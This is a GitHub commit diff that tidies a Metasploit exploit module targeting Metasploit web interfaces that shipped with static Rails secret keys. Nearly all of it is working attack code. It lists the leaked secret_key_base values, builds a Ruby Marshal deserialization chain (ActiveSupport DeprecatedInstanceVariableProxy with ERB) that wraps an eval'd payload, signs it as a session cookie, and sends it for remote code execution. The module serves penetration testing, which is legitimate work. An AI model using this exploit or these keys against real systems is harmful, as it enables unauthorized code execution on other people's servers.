Skip to content

Commit 30d07ce

Browse files
committed
Tidy metasploit_static_secret_key_base module
* Inline magic values * Optimise out dead Rails3-specific code
1 parent a1ca27d commit 30d07ce

File tree

1 file changed

+39
-80
lines changed

1 file changed

+39
-80
lines changed

modules/exploits/multi/http/metasploit_static_secret_key_base.rb

Lines changed: 39 additions & 80 deletions
Original file line numberDiff line numberDiff line change
@@ -125,28 +125,7 @@ def initialize(info = {})
125125
'Platform' => 'ruby',
126126
'Arch' => ARCH_RUBY,
127127
'Privileged' => false,
128-
'Targets' =>
129-
[
130-
['Metasploit 4.12.0-2016061501 to 4.12.0-2016083001',
131-
{
132-
'RAILSVERSION' => 4, # The target Rails Version (use 3 for Rails3 and 2, 4 for Rails4)
133-
'HTTP_METHOD' => 'GET', # The HTTP request method (GET, POST, PUT typically work)
134-
'COOKIE_NAME' => '_ui_session', # The name of the session cookie
135-
'DIGEST_NAME' => 'SHA1', # The digest type used to HMAC the session cookie
136-
'SALTENC' => 'encrypted cookie', # The encrypted cookie salt
137-
'SALTSIG' => 'signed encrypted cookie', # The signed encrypted cookie salt
138-
'SECRETS' => [
139-
'd25e9ad8c9a1558a6864bc38b1c79eafef479ccee5ad0b4b2ff6a917cd8db4c6b80d1bf1ea960f8ef922ddfebd4525fcff253a18dd78a18275311d45770e5c9103fc7b639ecbd13e9c2dbba3da5c20ef2b5cbea0308acfc29239a135724ddc902ccc6a378b696600a1661ed92666ead9cdbf1b684486f5c5e6b9b13226982dd7', # 4.12.0_2016061501
140-
'99988ff528cc0e9aa0cc52dc97fe1dd1fcbedb6df6ca71f6f5553994e6294d213fcf533a115da859ca16e9190c53ddd5962ddd171c2e31a168fb8a8f3ef000f1a64b59a4ea3c5ec9961a0db0945cae90a70fd64eb7fb500662fc9e7569c90b20998adeca450362e5ca80d0045b6ae1d54caf4b8e6d89cc4ebef3fd4928625bfc', # 4.12.0_2016062101
141-
'446db15aeb1b4394575e093e43fae0fc8c4e81d314696ac42599e53a70a5ebe9c234e6fa15540e1fc3ae4e99ad64531ab10c5a4deca10c20ba6ce2ae77f70e7975918fbaaea56ed701213341be929091a570404774fd65a0c68b2e63f456a0140ac919c6ec291a766058f063beeb50cedd666b178bce5a9b7e2f3984e37e8fde', # 4.12.0_2016072501
142-
'61c64764ca3e28772bddd3b4a666d5a5611a50ceb07e3bd5847926b0423987218cfc81468c84a7737c23c27562cb9bf40bc1519db110bf669987c7bb7fd4e1850f601c2bf170f4b75afabf86d40c428e4d103b2fe6952835521f40b23dbd9c3cac55b543aef2fb222441b3ae29c3abbd59433504198753df0e70dd3927f7105a', # 4.12.0_2016081001
143-
'23bbd1fdebdc5a27ed2cb2eea6779fdd6b7a1fa5373f5eeb27450765f22d3f744ad76bd7fbf59ed687a1aba481204045259b70b264f4731d124828779c99d47554c0133a537652eba268b231c900727b6602d8e5c6a73fe230a8e286e975f1765c574431171bc2af0c0890988cc11cb4e93d363c5edc15d5a15ec568168daf32', # 4.12.0_2016081201
144-
'18edd3c0c08da473b0c94f114de417b3cd41dace1dacd67616b864cbe60b6628e8a030e1981cef3eb4b57b0498ad6fb22c24369edc852c5335e27670220ea38f1eecf5c7bb3217472c8df3213bc314af30be33cd6f3944ba524c16cafb19489a95d969ada268df37761c0a2b68c0eeafb1355a58a9a6a89c9296bfd606a79615', # 4.12.0_2016083001
145-
'b4bc1fa288894518088bf70c825e5ce6d5b16bbf20020018272383e09e5677757c6f1cc12eb39421eaf57f81822a434af10971b5762ae64cb1119054078b7201fa6c5e7aacdc00d5837a50b20a049bd502fcf7ed86b360d7c71942b983a547dde26a170bec3f11f42bee6a494dc2c11ae7dbd6d17927349cdcb81f0e9f17d22c' # unreleased build
146-
]
147-
}
148-
]
149-
],
128+
'Targets' => [ ['Automatic', {} ] ],
150129
'DefaultTarget' => 0,
151130
'DefaultOptions' =>
152131
{
@@ -186,75 +165,59 @@ def detached_payload_stub(code)
186165

187166
def check_secret(data, digest, secret)
188167
data = Rex::Text.uri_decode(data)
189-
if target['RAILSVERSION'] == 3
190-
sigkey = secret
191-
elsif target['RAILSVERSION'] == 4
192-
keygen = KeyGenerator.new(secret,{:iterations => 1000})
193-
sigkey = keygen.generate_key(target['SALTSIG'])
194-
end
195-
digest == OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new(target['DIGEST_NAME']), sigkey, data)
168+
keygen = KeyGenerator.new(secret,{:iterations => 1000})
169+
sigkey = keygen.generate_key('signed encrypted cookie')
170+
digest == OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('SHA1'), sigkey, data)
196171
end
197172

198173
def get_secret(data, digest)
199-
for secret in target['SECRETS']
174+
secrets = [
175+
'd25e9ad8c9a1558a6864bc38b1c79eafef479ccee5ad0b4b2ff6a917cd8db4c6b80d1bf1ea960f8ef922ddfebd4525fcff253a18dd78a18275311d45770e5c9103fc7b639ecbd13e9c2dbba3da5c20ef2b5cbea0308acfc29239a135724ddc902ccc6a378b696600a1661ed92666ead9cdbf1b684486f5c5e6b9b13226982dd7', # 4.12.0_2016061501
176+
'99988ff528cc0e9aa0cc52dc97fe1dd1fcbedb6df6ca71f6f5553994e6294d213fcf533a115da859ca16e9190c53ddd5962ddd171c2e31a168fb8a8f3ef000f1a64b59a4ea3c5ec9961a0db0945cae90a70fd64eb7fb500662fc9e7569c90b20998adeca450362e5ca80d0045b6ae1d54caf4b8e6d89cc4ebef3fd4928625bfc', # 4.12.0_2016062101
177+
'446db15aeb1b4394575e093e43fae0fc8c4e81d314696ac42599e53a70a5ebe9c234e6fa15540e1fc3ae4e99ad64531ab10c5a4deca10c20ba6ce2ae77f70e7975918fbaaea56ed701213341be929091a570404774fd65a0c68b2e63f456a0140ac919c6ec291a766058f063beeb50cedd666b178bce5a9b7e2f3984e37e8fde', # 4.12.0_2016072501
178+
'61c64764ca3e28772bddd3b4a666d5a5611a50ceb07e3bd5847926b0423987218cfc81468c84a7737c23c27562cb9bf40bc1519db110bf669987c7bb7fd4e1850f601c2bf170f4b75afabf86d40c428e4d103b2fe6952835521f40b23dbd9c3cac55b543aef2fb222441b3ae29c3abbd59433504198753df0e70dd3927f7105a', # 4.12.0_2016081001
179+
'23bbd1fdebdc5a27ed2cb2eea6779fdd6b7a1fa5373f5eeb27450765f22d3f744ad76bd7fbf59ed687a1aba481204045259b70b264f4731d124828779c99d47554c0133a537652eba268b231c900727b6602d8e5c6a73fe230a8e286e975f1765c574431171bc2af0c0890988cc11cb4e93d363c5edc15d5a15ec568168daf32', # 4.12.0_2016081201
180+
'18edd3c0c08da473b0c94f114de417b3cd41dace1dacd67616b864cbe60b6628e8a030e1981cef3eb4b57b0498ad6fb22c24369edc852c5335e27670220ea38f1eecf5c7bb3217472c8df3213bc314af30be33cd6f3944ba524c16cafb19489a95d969ada268df37761c0a2b68c0eeafb1355a58a9a6a89c9296bfd606a79615', # 4.12.0_2016083001
181+
'b4bc1fa288894518088bf70c825e5ce6d5b16bbf20020018272383e09e5677757c6f1cc12eb39421eaf57f81822a434af10971b5762ae64cb1119054078b7201fa6c5e7aacdc00d5837a50b20a049bd502fcf7ed86b360d7c71942b983a547dde26a170bec3f11f42bee6a494dc2c11ae7dbd6d17927349cdcb81f0e9f17d22c' # unreleased build
182+
]
183+
for secret in secrets
200184
return secret if check_secret(data, digest, secret)
201185
end
202186
nil
203187
end
204188

205-
def rails_4(secret)
189+
def build_signed_cookie(secret)
206190
keygen = KeyGenerator.new(secret,{:iterations => 1000})
207-
enckey = keygen.generate_key(target['SALTENC'])
208-
sigkey = keygen.generate_key(target['SALTSIG'])
191+
enckey = keygen.generate_key('encrypted cookie')
192+
sigkey = keygen.generate_key('signed encrypted cookie')
209193
crypter = MessageEncryptor.new(enckey, sigkey)
210-
crypter.encrypt_and_sign(build_cookie)
211-
end
212194

213-
def rails_3(secret)
214-
# Sign it with the secret_token
215-
data = build_cookie
216-
digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new("SHA1"), secret, data)
217-
marshal_payload = Rex::Text.uri_encode(data)
218-
"#{marshal_payload}--#{digest}"
219-
end
220-
221-
def build_cookie
222-
223-
# Embed the payload with the detached stub
195+
# Embed the payload within detached stub
224196
code =
225197
"eval('" +
226198
Rex::Text.encode_base64(detached_payload_stub(payload.encoded)) +
227199
"'.unpack('m0').first)"
228200

229-
if target['RAILSVERSION'] == 4
230-
return "\x04\b" +
231-
"o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b" +
232-
":\x0E@instanceo" +
233-
":\bERB\x07" +
234-
":\t@src"+ Marshal.dump(code)[2..-1] +
235-
":\x0c@lineno"+ "i\x00" +
236-
":\f@method:\vresult:" +
237-
"\x10@deprecatoro:\x1FActiveSupport::Deprecation\x00"
238-
end
239-
if target['RAILSVERSION'] == 3
240-
return Rex::Text.encode_base64 "\x04\x08" +
241-
"o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" +
242-
":\x0E@instance" +
243-
"o"+":\x08ERB"+"\x07" +
244-
":\x09@src" +
245-
Marshal.dump(code)[2..-1] +
246-
":\x0c@lineno"+ "i\x00" +
247-
":\x0C@method"+":\x0Bresult"
248-
end
201+
# Embed code within Rails 4 popchain
202+
cookie = "\x04\b" +
203+
"o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b" +
204+
":\x0E@instanceo" +
205+
":\bERB\x07" +
206+
":\t@src"+ Marshal.dump(code)[2..-1] +
207+
":\x0c@lineno"+ "i\x00" +
208+
":\f@method:\vresult:" +
209+
"\x10@deprecatoro:\x1FActiveSupport::Deprecation\x00"
210+
211+
crypter.encrypt_and_sign(cookie)
249212
end
250213

251214
def check
252-
cookie_name = target['COOKIE_NAME']
215+
cookie_name = '_ui_session'
253216

254-
vprint_status("Checking for cookie #{target['COOKIE_NAME']}")
217+
vprint_status("Checking for cookie #{cookie_name}")
255218
res = send_request_cgi({
256219
'uri' => datastore['TARGETURI'] || "/",
257-
'method' => target['HTTP_METHOD'],
220+
'method' => 'GET',
258221
}, 25)
259222

260223
unless res
@@ -271,7 +234,7 @@ def check
271234
return Exploit::CheckCode::Unknown # Target didn't send us a session cookie. We can't continue.
272235
end
273236

274-
if match[1] == target['COOKIE_NAME']
237+
if match[1] == cookie_name
275238
vprint_status("Found cookie")
276239
else
277240
vprint_status("Adjusting cookie name to #{match[1]}")
@@ -291,13 +254,13 @@ def check
291254
# Send the actual request
292255
#
293256
def exploit
294-
cookie_name = target['COOKIE_NAME']
257+
cookie_name = '_ui_session'
295258

296-
print_status("Checking for cookie #{target['COOKIE_NAME']}")
259+
print_status("Checking for cookie #{cookie_name}")
297260

298261
res = send_request_cgi({
299262
'uri' => datastore['TARGETURI'] || "/",
300-
'method' => target['HTTP_METHOD'],
263+
'method' => 'GET',
301264
}, 25)
302265

303266
unless res
@@ -314,7 +277,7 @@ def exploit
314277
fail_with(Failure::UnexpectedReply, "Target didn't send us a session cookie. We can't continue.")
315278
end
316279

317-
if match[1] == target['COOKIE_NAME']
280+
if match[1] == cookie_name
318281
vprint_status("Found cookie")
319282
else
320283
print_status("Adjusting cookie name to #{match[1]}")
@@ -329,16 +292,12 @@ def exploit
329292
fail_with(Failure::NotVulnerable, "SECRET not found, target not vulnerable?")
330293
end
331294

332-
if target['RAILSVERSION'] == 3
333-
cookie = rails_3(secret)
334-
elsif target['RAILSVERSION'] == 4
335-
cookie = rails_4(secret)
336-
end
295+
cookie = build_signed_cookie(secret)
337296

338297
print_status "Sending cookie #{cookie_name}"
339298
res = send_request_cgi({
340299
'uri' => datastore['TARGETURI'] || "/",
341-
'method' => target['HTTP_METHOD'],
300+
'method' => 'GET',
342301
'headers' => {'Cookie' => cookie_name+"="+ cookie},
343302
}, 25)
344303

0 commit comments

Comments
 (0)